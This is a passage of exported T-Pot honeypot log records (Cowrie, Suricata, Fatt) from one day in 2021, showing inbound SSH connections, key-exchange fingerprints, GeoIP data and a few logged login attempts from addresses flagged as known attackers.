26636	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:12:49.419883+03	2021-09-20 14:15:13.533675+03	{"_id": "mgboAnwBvYTbRNuEmSJ9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36986, "timestamp": "2021-09-20T11:12:49.419883", "@timestamp": "2021-09-20T11:12:49.419Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26637	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:12:56.297852+03	2021-09-20 14:15:13.534675+03	{"_id": "6wboAnwBvYTbRNuEsSKc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:43196 (192.168.176.2:22) [session: ed9ae4c1b93a]", "session": "ed9ae4c1b93a", "@version": "1", "protocol": "ssh", "src_port": 43196, "dest_port": 22, "timestamp": "2021-09-20T11:12:56.297852Z", "@timestamp": "2021-09-20T11:12:56.297Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26638	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:12:56.127765+03	2021-09-20 14:15:13.535674+03	{"_id": "5gboAnwBvYTbRNuEsSKb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.login.success", "message": "login attempt [Irina/Irina] succeeded", "session": "de515b57e106", "@version": "1", "password": "Irina", "username": "Irina", "timestamp": "2021-09-20T11:12:56.127765Z", "@timestamp": "2021-09-20T11:12:56.127Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	known attacker	\N
26639	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:12:57.010705+03	2021-09-20 14:15:13.537648+03	{"_id": "8gboAnwBvYTbRNuEsyKy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 625812918589883, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 39178, "dest_port": 22, "timestamp": "2021-09-20T11:12:57.010705Z", "@timestamp": "2021-09-20T11:12:57.010Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
41631	192.168.20.103	109.199.241.180	Suricata	2021-09-20 16:06:56.000598+03	2021-09-20 16:15:03.167747+03	{"_id": "JQZRA3wBvYTbRNuEEJCE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.251", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:06:56.000598Z", "@timestamp": "2021-09-20T13:06:56.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
26640	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:12:56.749762+03	2021-09-20 14:15:13.538674+03	{"_id": "9AboAnwBvYTbRNuEtCLb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 39178, "timestamp": "2021-09-20T11:12:56.749762", "@timestamp": "2021-09-20T11:12:56.749Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26641	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:12:56.670108+03	2021-09-20 14:15:13.539646+03	{"_id": "8wboAnwBvYTbRNuEtCLb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "128.199.123.0", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 41508, "timestamp": "2021-09-20T11:12:56.670108", "@timestamp": "2021-09-20T11:12:56.670Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26642	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:12:58.056677+03	2021-09-20 14:15:13.540674+03	{"_id": "BgboAnwBvYTbRNuEuCPE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 7246, "dest_port": 22, "timestamp": "2021-09-20T11:12:58.056677", "@timestamp": "2021-09-20T11:12:58.056Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
26643	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:12:57.741539+03	2021-09-20 14:15:13.541677+03	{"_id": "DQboAnwBvYTbRNuEuSNw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "a9f8234b6960", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:12:57.741539Z", "@timestamp": "2021-09-20T11:12:57.741Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
26644	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:12:57.65852+03	2021-09-20 14:15:13.543647+03	{"_id": "CgboAnwBvYTbRNuEuSNv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.login.failed", "message": "login attempt [nproc/nproc] failed", "session": "593324cf35d9", "@version": "1", "password": "nproc", "username": "nproc", "timestamp": "2021-09-20T11:12:57.658520Z", "@timestamp": "2021-09-20T11:12:57.658Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26645	176.122.188.154	109.199.241.180	Suricata	2021-09-20 14:12:58.703938+03	2021-09-20 14:15:13.544674+03	{"_id": "FQboAnwBvYTbRNuEuyOD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:12:58.365751+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.122.188.154", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 441704850822327, "payload": "AAADzAYURSv1bZPUCdAflnnkzxxcGgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 46716, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:12:58.703938Z", "@timestamp": "2021-09-20T11:12:58.703Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......E+.m......y...\\\\....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
26646	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:12:58.537713+03	2021-09-20 14:15:13.545674+03	{"_id": "GAboAnwBvYTbRNuEvCOu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "176.122.188.154", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 46716, "timestamp": "2021-09-20T11:12:58.537713", "@timestamp": "2021-09-20T11:12:58.537Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26647	176.122.188.154	109.199.241.180	Fatt	2021-09-20 14:12:58.703938+03	2021-09-20 14:15:13.547674+03	{"_id": "GQboAnwBvYTbRNuEvCOu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "176.122.188.154", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": 